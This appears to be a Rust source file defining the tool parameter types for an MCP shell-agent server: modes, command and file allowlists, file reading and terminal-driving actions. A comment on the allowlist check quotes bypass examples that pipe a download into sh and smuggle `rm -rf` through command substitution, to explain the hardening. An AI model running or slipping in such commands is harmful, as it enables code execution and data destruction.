Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub const MAX_NORMALIZED_THREAD_ID_BYTES: usize = 96;
5const THREAD_ID_HASH_SUFFIX_BYTES: usize = 9;
6
7pub fn normalize_thread_id(thread_id: &str) -> String {
8    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
9    if filtered.is_empty() {
10        return filtered;
11    }
12
13    // Filtering can collapse distinct ids ("user-1" and "user1"), and a caller
14    // can otherwise create pathologically long state-file names. Preserve safe,
15    // short ids verbatim; every changed or oversized id receives a stable hash of
16    // the ORIGINAL input and a UTF-8-safe prefix bounded to 96 bytes total.
17    if filtered == thread_id && filtered.len() <= MAX_NORMALIZED_THREAD_ID_BYTES {
18        return filtered;
19    }
20
21    let prefix_budget = MAX_NORMALIZED_THREAD_ID_BYTES - THREAD_ID_HASH_SUFFIX_BYTES;
22    let mut prefix = String::with_capacity(prefix_budget);
23    for character in filtered.chars() {
24        if prefix.len() + character.len_utf8() > prefix_budget {
25            break;
26        }
27        prefix.push(character);
28    }
29    format!("{prefix}_{:08x}", fnv1a_32(thread_id))
30}
31
32/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
33/// interactive TUI without a hand-written recognizer. Loaded from the
34/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
35/// `configurable`. Each marker is matched case-insensitively; an invalid regex
36/// falls back to a literal-substring match.
37#[derive(Debug, Clone, Default, Deserialize)]
38pub struct TurnRecognizerMarkers {
39    /// Screen is actively working (scanned across the whole screen). E.g.
40    /// `["esc to interrupt", "generating"]`.
41    #[serde(default)]
42    pub busy: Vec<String>,
43    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
44    #[serde(default)]
45    pub awaiting_input: Vec<String>,
46    /// Screen is asking for confirmation (scanned in the tail). E.g.
47    /// `["do you want", "y/n"]`.
48    #[serde(default)]
49    pub awaiting_approval: Vec<String>,
50}
51
52impl TurnRecognizerMarkers {
53    /// True when no markers are configured (nothing to recognize).
54    pub fn is_empty(&self) -> bool {
55        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
56    }
57}
58
59/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
60/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
61/// resolves to the same session and state file after a server restart.
62fn fnv1a_32(s: &str) -> u32 {
63    let mut hash: u32 = 0x811c_9dc5;
64    for byte in s.bytes() {
65        hash ^= u32::from(byte);
66        hash = hash.wrapping_mul(0x0100_0193);
67    }
68    hash
69}
70
71/// Type of shell environment initialization
72///
73/// This enum represents the different ways the Initialize tool can be called,
74/// depending on the current state of the conversation and what the user is requesting.
75#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
76#[serde(rename_all = "snake_case")]
77pub enum InitializeType {
78    /// Initial call at the start of a conversation
79    ///
80    /// This should be used for the first Initialize call in a conversation.
81    /// It sets up a new shell environment with the specified parameters.
82    FirstCall,
83
84    /// User requested to change the mode
85    ///
86    /// This should be used when the user asks to switch between modes
87    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
88    UserAskedModeChange,
89
90    /// Reset the shell environment due to issues
91    ///
92    /// This should be used only after `BashCommand` reports a shell-runtime failure.
93    /// A repeated reset inside the recovery cooldown preserves the current PTY
94    /// unless a new runtime failure was observed.
95    ResetShell,
96
97    /// User requested to change the workspace
98    ///
99    /// This should be used when the user asks to switch to a different
100    /// workspace or project directory during the conversation.
101    UserAskedChangeWorkspace,
102
103    /// Read-only probe of an existing session: reports its workspace, cwd,
104    /// mode, runtime and whether a command is still running. Never creates,
105    /// resets or reconfigures anything; an unknown session answers
106    /// `needs_initialize` with the safe next call.
107    Status,
108}
109
110#[derive(Debug, Clone, PartialEq)]
111pub enum ModeName {
112    Wcgw,
113    Architect,
114    CodeWriter,
115}
116
117// Custom serializer implementation to ensure values are properly quoted in JSON
118impl Serialize for ModeName {
119    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
120    where
121        S: serde::Serializer,
122    {
123        match self {
124            ModeName::Wcgw => serializer.serialize_str("wcgw"),
125            ModeName::Architect => serializer.serialize_str("architect"),
126            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
127        }
128    }
129}
130
131// Custom deserializer to support multiple aliases
132impl<'de> Deserialize<'de> for ModeName {
133    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
134    where
135        D: serde::Deserializer<'de>,
136    {
137        let s = String::deserialize(deserializer)?;
138        match s.as_str() {
139            "wcgw" => Ok(ModeName::Wcgw),
140            "architect" => Ok(ModeName::Architect),
141            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
142            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
143        }
144    }
145}
146
147// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
148// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
149// `#/definitions/ModeName`, a node that was never populated. Lenient clients
150// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
151// likely ChatGPT) reject the whole tool call: "Reference not found:
152// #/definitions/ModeName". The variants mirror the Serialize impl above.
153impl JsonSchema for ModeName {
154    fn schema_name() -> std::borrow::Cow<'static, str> {
155        "ModeName".into()
156    }
157
158    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
159        schemars::json_schema!({
160            "type": "string",
161            "enum": ["wcgw", "architect", "code_writer"],
162            "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
163        })
164    }
165}
166
167#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
168pub struct CodeWriterConfig {
169    #[serde(default)]
170    pub allowed_globs: AllowedGlobs,
171    #[serde(default)]
172    pub allowed_commands: AllowedCommands,
173}
174
175impl CodeWriterConfig {
176    pub fn update_relative_globs(&mut self, workspace_root: &str) {
177        // Only process if we have a list of globs
178        if let AllowedGlobs::List(globs) = &self.allowed_globs {
179            let updated_globs = globs
180                .iter()
181                .map(|glob| {
182                    if std::path::Path::new(glob).is_absolute() {
183                        glob.clone()
184                    } else {
185                        format!("{workspace_root}/{glob}")
186                    }
187                })
188                .collect();
189
190            self.allowed_globs = AllowedGlobs::List(updated_globs);
191        }
192    }
193}
194
195#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
196#[serde(untagged)]
197pub enum AllowedGlobs {
198    All(String),
199    List(Vec<String>),
200}
201
202impl Default for AllowedGlobs {
203    fn default() -> Self {
204        AllowedGlobs::All("all".to_string())
205    }
206}
207
208impl AllowedGlobs {
209    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
210    /// Without this, a literal glob named "all" would be the only allowed path.
211    pub fn normalize(&mut self) {
212        if let AllowedGlobs::List(items) = self {
213            if items.len() == 1 && items[0] == "all" {
214                *self = AllowedGlobs::All("all".to_string());
215            }
216        }
217    }
218
219    #[allow(dead_code)]
220    pub fn is_allowed(&self, path: &str) -> bool {
221        match self {
222            AllowedGlobs::All(s) if s == "all" => true,
223            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
224                Ok(pattern) => pattern.matches(path),
225                Err(_) => false,
226            }),
227            AllowedGlobs::All(_) => false,
228        }
229    }
230}
231
232#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
233#[serde(untagged)]
234pub enum AllowedCommands {
235    All(String),
236    List(Vec<String>),
237}
238
239impl Default for AllowedCommands {
240    fn default() -> Self {
241        AllowedCommands::All("all".to_string())
242    }
243}
244
245impl AllowedCommands {
246    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
247    pub fn normalize(&mut self) {
248        if let AllowedCommands::List(items) = self {
249            if items.len() == 1 && items[0] == "all" {
250                *self = AllowedCommands::All("all".to_string());
251            }
252        }
253    }
254
255    pub fn is_allowed(&self, command_line: &str) -> bool {
256        match self {
257            AllowedCommands::All(s) if s == "all" => true,
258            AllowedCommands::All(_) => false,
259            AllowedCommands::List(commands) => {
260                // Enforce the allowlist against EVERY command the line would run
261                // (pipelines, &&/||/;, command & process substitution, subshells),
262                // not just the first whitespace token — which `ls && curl|sh` and
263                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
264                // closed: a restricted mode must not run what it can't vet.
265                match crate::utils::bash_parser::extract_command_texts(command_line) {
266                    Ok(cmds) if !cmds.is_empty() => cmds
267                        .iter()
268                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
269                    _ => false,
270                }
271            }
272        }
273    }
274}
275
276/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
277/// enforcing a word boundary so `ls` does not also permit `lsof`, and
278/// `cargo test` does not permit `cargo testimony`.
279fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
280    let cmd = cmd.trim();
281    let allowed = allowed.trim();
282    if allowed.is_empty() {
283        return false;
284    }
285    cmd == allowed
286        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
287}
288
289/// Parameters for initializing the shell environment
290///
291/// This struct represents the parameters needed to initialize or update the shell environment.
292/// It is used by the Initialize tool, which must be called before any other shell tools.
293#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
294pub struct Initialize {
295    /// Initialization type, indicating the purpose of the call
296    ///
297    /// - `FirstCall`: Initial setup for a new conversation
298    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
299    /// - `ResetShell`: Reset the shell if it's not working properly
300    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
301    /// - `Status`: Read-only probe of the bound session (workspace, cwd, mode, runtime, running command); never mutates
302    #[serde(rename = "type")]
303    #[serde(default = "default_init_type")]
304    pub init_type: InitializeType,
305
306    /// Path to the workspace directory or file
307    ///
308    /// Local transports accept an absolute path or one relative to the current directory.
309    /// Remote HTTP sessions require an absolute path so the project identity is unambiguous.
310    /// If it's a file, the parent directory will be used as the workspace.
311    /// If it doesn't exist and is an absolute path, it will be created.
312    /// If it's a relative path and doesn't exist, an error will be returned.
313    pub any_workspace_path: String,
314
315    /// List of files to read initially
316    ///
317    /// These files can be absolute paths or paths relative to the workspace.
318    /// They will be read and their contents provided in the response.
319    #[serde(default)]
320    pub initial_files_to_read: Vec<String>,
321
322    /// ID of a task to resume
323    ///
324    /// If provided during a `first_call`, the task with this ID will be resumed.
325    /// This allows continuing a conversation from a previous session.
326    #[serde(default = "String::new")]
327    #[serde(deserialize_with = "deserialize_string_or_null")]
328    pub task_id_to_resume: String,
329
330    /// Mode name for the shell environment
331    ///
332    /// - `wcgw`: Full permissions (default)
333    /// - `architect`: Restricted permissions, read-only
334    /// - `code_writer`: Custom permissions for code writing
335    #[serde(default = "default_mode_name")]
336    pub mode_name: ModeName,
337
338    /// ID of the thread session
339    ///
340    /// If not provided for a `first_call`, a new ID will be generated.
341    /// This ID must be included in all subsequent tool calls.
342    #[serde(default)]
343    #[serde(deserialize_with = "deserialize_string_or_null")]
344    pub thread_id: String,
345
346    /// Configuration for `code_writer` mode
347    ///
348    /// Only used when `mode_name` is "`code_writer`".
349    /// Specifies allowed commands and file globs for writing/editing.
350    #[serde(default)]
351    #[serde(deserialize_with = "deserialize_code_writer_config")]
352    pub code_writer_config: Option<CodeWriterConfig>,
353}
354
355// Custom deserializer for strings that might be null
356fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
357where
358    D: serde::Deserializer<'de>,
359{
360    // First try to deserialize as a string
361    let result = serde_json::Value::deserialize(deserializer)?;
362
363    match result {
364        // Return empty string for null values
365        serde_json::Value::Null => Ok(String::new()),
366        // If it's a string, use that
367        serde_json::Value::String(s) => {
368            // Handle "null" string specially
369            if s == "null" {
370                Ok(String::new())
371            } else {
372                Ok(s)
373            }
374        }
375        // Otherwise try to convert to a string
376        _ => match serde_json::to_string(&result) {
377            Ok(s) => Ok(s),
378            Err(_) => Ok(String::new()),
379        },
380    }
381}
382
383// Custom deserializer for code_writer_config that handles the "null" string case
384fn deserialize_code_writer_config<'de, D>(
385    deserializer: D,
386) -> Result<Option<CodeWriterConfig>, D::Error>
387where
388    D: serde::Deserializer<'de>,
389{
390    // This handles multiple possible input types
391    let value = serde_json::Value::deserialize(deserializer)?;
392
393    match value {
394        // If it's explicitly null or the string "null", return None
395        serde_json::Value::Null => Ok(None),
396        serde_json::Value::String(s) if s == "null" => Ok(None),
397        // Otherwise try to parse it as CodeWriterConfig
398        _ => {
399            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
400                Ok(config) => {
401                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
402                    Ok(Some(config))
403                }
404                Err(e) => {
405                    // Fail loud. A malformed restricted-mode config must NOT silently
406                    // degrade to `None` — `None` falls back to All commands / All globs,
407                    // so the model would believe the shell is locked down while it is in
408                    // fact wide open. Refuse to initialize instead.
409                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
410                    Err(serde::de::Error::custom(format!(
411                        "Invalid code_writer config: {e}. Refusing to start with a permissive \
412                         fallback — fix the allowed_commands / allowed_globs shape (or pass null \
413                         to opt out explicitly)."
414                    )))
415                }
416            }
417        }
418    }
419}
420
421/// Default `mode_name` for Initialize
422fn default_mode_name() -> ModeName {
423    ModeName::Wcgw
424}
425
426/// Default `init_type` for Initialize
427fn default_init_type() -> InitializeType {
428    InitializeType::FirstCall
429}
430
431// Mode types
432#[derive(Debug, Clone, Copy, PartialEq)]
433pub enum Modes {
434    Wcgw,
435    Architect,
436    CodeWriter,
437}
438
439/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
440/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
441/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
442/// variant maps to a `Modes` one — adding a variant to either enum without the
443/// other becomes a compile error here.
444impl From<&ModeName> for Modes {
445    fn from(name: &ModeName) -> Self {
446        match name {
447            ModeName::Wcgw => Modes::Wcgw,
448            ModeName::Architect => Modes::Architect,
449            ModeName::CodeWriter => Modes::CodeWriter,
450        }
451    }
452}
453
454impl std::fmt::Display for Modes {
455    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
456        match self {
457            Modes::Wcgw => write!(f, "wcgw"),
458            Modes::Architect => write!(f, "architect"),
459            Modes::CodeWriter => write!(f, "code_writer"),
460        }
461    }
462}
463
464// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
465// `#/definitions/Modes` was dangling and breaks strict MCP clients.
466impl JsonSchema for Modes {
467    fn schema_name() -> std::borrow::Cow<'static, str> {
468        "Modes".into()
469    }
470
471    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
472        schemars::json_schema!({
473            "type": "string",
474            "enum": ["wcgw", "architect", "code_writer"]
475        })
476    }
477}
478
479/// Special key types for shell interaction
480/// Matches wcgw Python's Specials enum exactly
481#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
482pub enum SpecialKey {
483    Enter,
484    #[serde(rename = "Key-up")]
485    KeyUp,
486    #[serde(rename = "Key-down")]
487    KeyDown,
488    #[serde(rename = "Key-left")]
489    KeyLeft,
490    #[serde(rename = "Key-right")]
491    KeyRight,
492    #[serde(rename = "Ctrl-c")]
493    CtrlC,
494    #[serde(rename = "Ctrl-d")]
495    CtrlD,
496    #[serde(rename = "Ctrl-z")]
497    CtrlZ,
498}
499
500/// Parameters for the `ReadFiles` tool
501///
502/// This struct represents the parameters needed to read one or more files.
503/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
504#[derive(Debug, Clone, Serialize, JsonSchema)]
505pub struct ReadFiles {
506    /// List of file paths to read.
507    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
508    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
509    pub file_paths: Vec<String>,
510
511    /// Optional thread ID identifying the shell session to operate on. When
512    /// omitted, the most recently active session is used.
513    #[serde(default)]
514    pub thread_id: String,
515
516    // Internal fields - not part of MCP schema (parsed from file_paths)
517    #[serde(skip)]
518    #[schemars(skip)]
519    pub start_line_nums: Vec<Option<usize>>,
520
521    #[serde(skip)]
522    #[schemars(skip)]
523    pub end_line_nums: Vec<Option<usize>>,
524}
525
526// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
527impl<'de> Deserialize<'de> for ReadFiles {
528    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
529    where
530        D: serde::Deserializer<'de>,
531    {
532        #[derive(Deserialize)]
533        struct ReadFilesHelper {
534            file_paths: Option<Vec<String>>,
535            #[serde(default)]
536            thread_id: Option<String>,
537        }
538
539        let input = serde_json::Value::deserialize(deserializer)?;
540
541        if !input.is_object() {
542            if input.is_null() {
543                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
544            }
545            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
546        }
547
548        let helper: ReadFilesHelper = serde_json::from_value(input)
549            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
550
551        let thread_id = helper.thread_id.unwrap_or_default();
552        let file_paths = match helper.file_paths {
553            Some(paths) if !paths.is_empty() => paths,
554            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
555            None => return Err(serde::de::Error::custom("file_paths is required.")),
556        };
557
558        // Parse line ranges from file paths (like wcgw Python's model_post_init)
559        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
560        let mut start_line_nums = Vec::with_capacity(file_paths.len());
561        let mut end_line_nums = Vec::with_capacity(file_paths.len());
562
563        for path in file_paths {
564            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
565            clean_file_paths.push(clean_path);
566            start_line_nums.push(start);
567            end_line_nums.push(end);
568        }
569
570        Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
571    }
572}
573
574fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
575    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
576        return (path.to_string(), None, None);
577    };
578
579    let Some((start, end)) = parse_line_spec(line_spec) else {
580        return (path.to_string(), None, None);
581    };
582
583    (potential_path.to_string(), start, end)
584}
585
586fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
587    if line_spec.chars().all(|c| c.is_ascii_digit()) {
588        return line_spec.parse().ok().map(|line| (Some(line), None));
589    }
590
591    let (start, end) = line_spec.split_once('-')?;
592
593    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
594        return end.parse().ok().map(|line| (None, Some(line)));
595    }
596
597    if !start.is_empty()
598        && start.chars().all(|c| c.is_ascii_digit())
599        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
600    {
601        let start = start.parse().ok()?;
602        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
603        return Some((Some(start), end));
604    }
605
606    None
607}
608
609impl ReadFiles {
610    /// Line numbers are always shown (like wcgw Python)
611    pub fn show_line_numbers(&self) -> bool {
612        true
613    }
614
615    /// Get the clean file path without line range suffix
616    pub fn get_clean_path(&self, index: usize) -> String {
617        parse_file_path_with_line_range(&self.file_paths[index]).0
618    }
619}
620
621/// Default true value for `status_check`
622fn default_true() -> bool {
623    true
624}
625
626/// Types of actions that can be performed with the `BashCommand` tool
627#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
628#[serde(tag = "type", rename_all = "snake_case")]
629pub enum BashCommandAction {
630    /// Execute a shell command
631    Command {
632        command: String,
633        #[serde(default)]
634        is_background: bool,
635        /// Opt out of the single-top-level-statement guard. By default winx
636        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
637        /// agent has to be explicit about what it's running. Set this to true
638        /// when you knowingly want to run a composite command without
639        /// wrapping it in `bash -lc '...'`.
640        #[serde(default)]
641        allow_multi: bool,
642    },
643
644    /// Check the status of a running command.
645    ///
646    /// By default returns only what changed since the previous call — agents
647    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
648    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
649    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
650    /// the PTY ringbuffer.
651    StatusCheck {
652        #[serde(default = "default_true")]
653        status_check: bool,
654        bg_command_id: Option<String>,
655        #[serde(default)]
656        scrollback_lines: Option<usize>,
657        #[serde(default)]
658        verbose: bool,
659    },
660
661    /// Send text to a running command. Set `submit` to true to append a carriage
662    /// return after the bytes so the target program receives the input as a
663    /// completed line (matches what hitting Enter would do in a TUI).
664    SendText {
665        /// Text to type into the running program. Must be non-empty: to press
666        /// Enter alone, use `send_specials: ["Enter"]` instead.
667        #[schemars(length(min = 1))]
668        send_text: String,
669        bg_command_id: Option<String>,
670        #[serde(default)]
671        submit: bool,
672    },
673
674    /// Send special keys to a running command. `submit` works the same as in
675    /// `SendText`.
676    SendSpecials {
677        send_specials: Vec<SpecialKey>,
678        bg_command_id: Option<String>,
679        #[serde(default)]
680        submit: bool,
681    },
682
683    /// Send ASCII characters to a running command. `submit` works the same as in
684    /// `SendText`.
685    SendAscii {
686        send_ascii: Vec<u8>,
687        bg_command_id: Option<String>,
688        #[serde(default)]
689        submit: bool,
690    },
691
692    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
693    /// view a human would see right now (cursor moves, redraws, alternate-screen
694    /// and synchronized-output already applied), ANSI stripped. Unlike
695    /// `status_check`, it never stacks redraw generations and never waits — a
696    /// point-in-time photo, ideal for reading an interactive TUI's current frame
697    /// (the `claude` CLI, vim, htop, fzf).
698    Screen {
699        #[serde(default = "default_true")]
700        screen: bool,
701        bg_command_id: Option<String>,
702        /// Last N visible lines to return (0 or omitted = full screen buffer).
703        #[serde(default)]
704        lines: Option<usize>,
705        /// When true, return only the lines that CHANGED since the last `screen`
706        /// look (big token savings when polling a TUI frame-by-frame) instead of
707        /// the whole frame. First look, or a large change, still returns full.
708        #[serde(default)]
709        diff: bool,
710    },
711
712    /// Block until an interactive TUI finishes its turn and is ready for input.
713    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
714    /// with a per-app recognizer, then returns the stable snapshot plus the
715    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
716    WaitForTurn {
717        #[serde(default = "default_true")]
718        wait_for_turn: bool,
719        bg_command_id: Option<String>,
720        /// Recognizer hint: `auto` (default, claude+codex), `generic`, or any
721        /// bundled agent-manifest id/alias — `claude`, `codex`, `gemini`,
722        /// `antigravity` (aka `agy`), `cursor`, `opencode`, `copilot`, `grok`,
723        /// `amp`, `droid`, `kimi`, `pi`, `qwen`, and more.
724        #[serde(default)]
725        recognizer: Option<String>,
726        /// Quiet window in ms — the screen must be unchanged this long to count
727        /// as idle (default 600).
728        #[serde(default)]
729        quiet_ms: Option<u64>,
730        /// Hard cap in seconds before returning regardless (default 30).
731        #[serde(default)]
732        timeout_seconds: Option<f32>,
733        /// Visible lines to return in the final snapshot (0 or omitted = full).
734        #[serde(default)]
735        lines: Option<usize>,
736        /// By default `wait_for_turn` returns as soon as it confirms the app is
737        /// actively working (`busy`), instead of blocking until the turn ends or
738        /// `timeout_seconds` elapses — so a long-running child never pins the
739        /// caller for the whole cap (poll again to keep watching). Set this to
740        /// true for the old behavior: block *through* `busy` until the app is
741        /// ready for input (or the timeout fires).
742        #[serde(default)]
743        wait_through_busy: bool,
744    },
745    /// Observe retained output and full detection screen without consuming delivery cursors.
746    Inspect {
747        bg_command_id: Option<String>,
748        recognizer: Option<String>,
749        include_output: Option<bool>,
750    },
751    /// Idempotently submit a prompt, or observe an existing receipt when text is absent.
752    Prompt {
753        bg_command_id: Option<String>,
754        prompt_id: String,
755        text: Option<String>,
756        recognizer: Option<String>,
757        timeout_seconds: Option<f32>,
758    },
759}
760
761/// Parameters for the `BashCommand` tool
762#[derive(Debug, Clone, Copy, Default, Eq, PartialEq, Serialize, Deserialize, JsonSchema)]
763#[serde(rename_all = "snake_case")]
764pub enum BashWaitPolicy {
765    /// Wait for a bounded inline window. Task-capable clients keep short calls
766    /// inline and promote a command only after the runtime reports it running.
767    #[default]
768    Adaptive,
769    /// Always return the runtime state after a short bounded wait. This policy
770    /// never creates an MCP Task.
771    ReturnEarly,
772    /// Prefer one result after the command exits. Task-capable clients receive
773    /// an MCP Task immediately; other clients receive a bounded synchronous wait.
774    UntilComplete,
775}
776
777/// Parameters for the `BashCommand` tool
778#[derive(Debug, Clone, Serialize, JsonSchema)]
779pub struct BashCommand {
780    /// The action to perform (command, status check, etc.)
781    pub action_json: BashCommandAction,
782
783    /// Requested inline wait in seconds. With the default adaptive policy this
784    /// defaults to 15 without Tasks and is capped to the short promotion window
785    /// with Tasks; `return_early` caps it at 5; the synchronous `until_complete`
786    /// fallback uses 60. Runtime waits never exceed the selected policy's cap.
787    #[serde(default)]
788    #[serde(skip_serializing_if = "Option::is_none")]
789    pub wait_for_seconds: Option<f32>,
790
791    /// The thread ID for this session
792    #[serde(default)]
793    pub thread_id: String,
794}
795
796// Custom deserialization for BashCommand to handle string-encoded action_json
797impl<'de> Deserialize<'de> for BashCommand {
798    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
799    where
800        D: serde::Deserializer<'de>,
801    {
802        let input = serde_json::Value::deserialize(deserializer)?;
803        let serde_json::Value::Object(mut map) = input else {
804            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
805        };
806
807        let wait_for_seconds = map
808            .remove("wait_for_seconds")
809            .map(serde_json::from_value)
810            .transpose()
811            .map_err(serde::de::Error::custom)?;
812        // `wait_policy` is an MCP adapter concern rather than stored command
813        // state. Validate it here for direct deserializers, then keep the public
814        // `BashCommand` shape source-compatible for library callers.
815        map.remove("wait_policy")
816            .map(serde_json::from_value::<BashWaitPolicy>)
817            .transpose()
818            .map_err(serde::de::Error::custom)?;
819        let thread_id = map
820            .remove("thread_id")
821            .map(thread_id_from_value)
822            .transpose()
823            .map_err(serde::de::Error::custom)?
824            .unwrap_or_default();
825        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
826
827        // Process action_json which could be a string or an object
828        let action_json = match action_json_value {
829            serde_json::Value::String(s) => {
830                // If it's a string, normalize newlines and try to parse it as JSON
831                // Replace literal newlines with space to avoid JSON parsing errors
832                let sanitized = s.replace('\n', " ");
833                match serde_json::from_str(&sanitized) {
834                    Ok(json) => normalize_action_json(json),
835                    Err(e) => {
836                        // If strict JSON parsing fails, try to be more lenient
837                        // For commands containing literal newlines, just wrap the string in a command object
838                        tracing::warn!(
839                            "Failed to parse action_json as JSON, trying fallback: {}",
840                            e
841                        );
842
843                        // Check for common JSON syntax issues
844                        if s.contains("command") && s.contains('{') && s.contains('}') {
845                            // It looks like JSON but has issues, let's try to sanitize it
846
847                            // Detailed error for troubleshooting
848                            tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
849
850                            // Common issues: unescaped quotes, newlines, tabs
851                            let re_sanitized = s
852                                .replace('\n', "\\n") // Replace newlines with escaped newlines
853                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
854                                .replace('\t', "\\t"); // Replace tabs with escaped versions
855
856                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
857                            let re_sanitized = if !s.contains('"') && s.contains(':') {
858                                // Very likely unquoted keys/values
859                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
860                                re_sanitized
861                            } else {
862                                re_sanitized
863                            };
864
865                            match serde_json::from_str(&re_sanitized) {
866                                Ok(json) => normalize_action_json(json),
867                                Err(err) => {
868                                    // Log the specific parsing error for debugging
869                                    tracing::error!("Secondary JSON parse error: {}", err);
870                                    // Last resort fallback - assume it's a command string
871                                    // MUST include "type": "command" for serde tagged enum
872                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
873                                }
874                            }
875                        } else {
876                            // Assume it's a simple command string
877                            // MUST include "type": "command" for serde tagged enum
878                            tracing::info!(
879                                bytes = s.len(),
880                                "Treating action_json as simple command"
881                            );
882                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
883                        }
884                    }
885                }
886            }
887            // If it's already an object or other JSON value, normalize legacy
888            // WCGW-style shorthand such as {"command": "..."}.
889            value => normalize_action_json(value),
890        };
891
892        // Now deserialize the action_json to our BashCommandAction enum
893        let action: BashCommandAction =
894            serde_json::from_value(action_json.clone()).map_err(|e| {
895                tracing::error!(
896                    bytes = action_json.to_string().len(),
897                    "Failed to deserialize action_json to BashCommandAction: {}",
898                    e
899                );
900
901                // For the SyntaxError: Unexpected token case
902                let err_str = e.to_string();
903                if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
904                    return serde::de::Error::custom(format!(
905                        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
906                    ));
907                }
908
909                serde::de::Error::custom(format!(
910                    "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
911                ))
912            })?;
913
914        // Return the properly constructed BashCommand
915        Ok(BashCommand {
916            action_json: action,
917            wait_for_seconds,
918            thread_id: normalize_thread_id(&thread_id),
919        })
920    }
921}
922
923fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
924    match value {
925        serde_json::Value::Null => Ok(String::new()),
926        serde_json::Value::String(value) => Ok(value),
927        other => Err(format!("thread_id must be a string or null, got {other}")),
928    }
929}
930
931fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
932    let serde_json::Value::Object(map) = &mut value else {
933        return value;
934    };
935
936    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
937        *command = sanitize_shell_string(command);
938    }
939
940    if map.contains_key("type") {
941        return value;
942    }
943
